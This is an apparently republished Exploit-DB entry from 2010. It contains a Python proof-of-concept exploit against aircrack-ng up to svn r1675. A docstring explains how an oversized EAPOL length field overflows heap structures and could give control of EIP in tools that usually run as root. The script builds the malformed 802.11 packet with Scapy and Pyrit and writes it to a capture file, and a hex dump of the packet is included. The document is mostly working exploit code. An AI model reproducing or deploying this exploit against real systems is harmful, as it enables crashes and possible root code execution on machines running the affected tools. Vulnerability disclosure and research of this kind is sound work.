Aircrack-NG remote exploit code

# Title: Remote Exploit Against the Aircrack-NG Tools svn r1675
# EDB-ID: 12217
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Lukas Lueg
# Published: 2010-04-14
# Verified: no
# Download Exploit Code
# Download N/A

view source
print?
#!/usr/bin/env python
# -*- coding: UTF-8 -*-

''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.

The tools' code responsible for parsing IEEE802.11-packets assumes the
self-proclaimed length of a EAPOL-packet to be correct and never to exceed
a (arbitrary) maximum size of 256 bytes for packets that are part of the
EAPOL-authentication. We can exploit this by letting the code parse packets
which:
a) proclaim to be larger than they really are, possibly causing the code
to read from invalid memory locations while copying the packet;
b) really do exceed the maximum size allowed and overflow data structures
allocated on the heap, overwriting libc's allocation-related
structures. This causes heap-corruption.

Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-
path. Careful layout of the packet's content can even possibly alter the
instruction-flow through the already well known heap-corruption paths
in libc. Playing with the proclaimed length of the EAPOL-packet and the
size and content of the packet's padding immediately end up in various
assertion errors during calls to free(). This reveals the possibility to
gain control over $EIP.

Given that we have plenty of room for payload and that the tools are
usually executed with root-privileges, we should be able to have a
single-packet-own-everything exploit at our hands. As the attacker can
cause the various tools to do memory-allocations at his will (through
faking the appearance of previously unknown clients), the resulting
exploit-code should have a high probability of success.

The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev
r238 to work. It generates pcap-file with single packet of the following
content:

0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0
108000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172
3F

03/27/2010, Lukas Lueg, lukas.lueg@gmail.com
'''

import cpyrit.pckttools
import scapy.layers

# A IEEE802.11-packet with LLC- and SNAP-header, looking like the second
# phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-
# packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and
# struct WPA_hdsk.
# We have plenty of room for exploit-payload as most of the fields in the
# EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent
# heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in
# case of airodump-ng...
pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00', \
addr2='00:de:ad:c0:de:01', \
FCfield='to-DS') \
/ scapy.layers.dot11.LLC() \
/ scapy.layers.dot11.SNAP() \
/ scapy.layers.l2.EAPOL(len=65000) \
/ cpyrit.pckttools.EAPOL_Key() \
/ cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \
/ scapy.packet.Padding(load='Can I has some moar?')

if __name__ == '__main__':
print "Packet's content:"
print ''.join("%02X" % ord(c) for c in str(pckt))
filename = 'aircrackng_exploit.cap'
print "Writing to '%s'" % filename
writer = cpyrit.pckttools.Dot11PacketWriter(filename)
writer.write(pckt)
writer.close()
print 'Done'
LihatTutupKomentar
loading...